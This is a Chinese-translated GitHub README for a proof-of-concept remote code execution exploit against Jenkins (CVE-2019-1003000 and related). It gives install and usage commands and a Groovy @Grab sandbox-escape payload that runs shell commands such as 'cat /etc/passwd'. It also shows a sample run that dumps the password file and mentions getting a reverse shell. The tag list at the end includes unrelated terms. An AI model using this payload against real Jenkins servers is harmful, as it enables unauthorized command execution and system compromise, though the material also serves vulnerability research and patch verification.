adamyordan/cve-2019-1003000-jenkins-rce-poc
GitHub: adamyordan/cve-2019-1003000-jenkins-rce-poc
Jenkins 远程代码执行漏洞(CVE-2019-1003000 系列)的概念验证工具,通过 Groovy @Grab 注解绕过沙盒执行任意系统命令。
Stars: 316 | Forks: 88
# PoC: Jenkins RCE
##### SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
## 安装说明
```
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
```
## 用法
将目标 URL、任务名称、用户名/密码凭据以及要执行的系统命令作为参数传入。
```
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
```
## 解释
摘自 [Red Hat Bugzilla - Bug 1667566](https://bugzilla.redhat.com/show_bug.cgi?id=1667566):
此 PoC 使用具有 Overall/Read 和 Job/Configure 权限的用户,在沙盒模式下执行恶意修改的构建脚本,并试图绕过沙盒模式的限制以运行任意脚本(在本例中,我们将执行系统命令)。
作为背景,Jenkins 的 Pipeline 构建脚本是用 Groovy 编写的。该构建脚本将在 Jenkins master 或 node 上编译并执行,其中包含 Pipeline 的定义,例如在 slave 节点上执行的操作。Jenkins 还允许脚本在 _沙盒模式_ 下执行。在沙盒模式下,所有危险函数都会被列入黑名单,因此普通用户无法对 Jenkins 服务器进行任何恶意操作。
然而,由于构建脚本是用 Groovy 编写的,我们可以使用 Java 包中的任何类或函数(尽管在沙盒模式下,危险的内置类/函数已被列入黑名单)。在这种情况下,我们使用 AST 转换注解 `@Grab` 让 Jenkins 从外部 Maven 仓库导入任意 Java 包。在这个 PoC 中,我使用了定义在 `org.buildobjects:jproc:2.2.3` 中的 `ProcBuilder` 类来执行系统 Shell 命令。
Payload 定义如下:
```
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
```
上面的脚本将在 Jenkins master 或 node 上编译并执行。任务构建完成后,我们可以在任务控制台输出中看到 Shell 命令 `cat /etc/passwd` 的结果。此外,我们可以利用此 RCE 获取反向 Shell,从而真正地 _pwn_ 掉 Jenkins 服务器!
## 易受攻击站点示例
本仓库的 `sample-vuln` 目录中以 Docker 容器格式提供了一个易受攻击的 Jenkins 示例。启动后,容器镜像将在 TCP/8080 端口托管一个 Jenkins 站点,其中包含一个具有 Overall/Read + Job/Configure + Job/Build 权限的普通用户,凭据为 `user1:user1`,以及一个 ID 为 `my-pipeline` 的 Pipeline 任务。
```
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS
```
## 参考资料
- [Jenkins Security Advisory 2019-01-08](https://jenkins.io/security/advisory/2019-01-08/)
- [Jenkins upstream patch](https://github.com/jenkinsci/script-security-plugin/commit/2c5122e50742dd16492f9424992deb21cc07837c)
- [Red Hat Bugzilla - Bug 1667566](https://bugzilla.redhat.com/show_bug.cgi?id=1667566)
- [Jenkins Script Security Plugin](https://wiki.jenkins.io/display/JENKINS/Script+Security+Plugin)
标签:CISA项目, CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002, DevSecOps, Groovy沙箱绕过, Jenkins, JS文件枚举, Maven, Pipeline安全, PoC, Python, RCE, SECURITY-1266, Web报告查看器, 上游代理, 人体姿态估计, 代码执行, 利用工具, 威胁模拟, 安全沙箱逃逸, 持续集成安全, 无后门, 暴力破解, 漏洞验证, 编程工具, 自定义脚本, 自定义脚本, 请求拦截, 远程代码执行, 逆向工具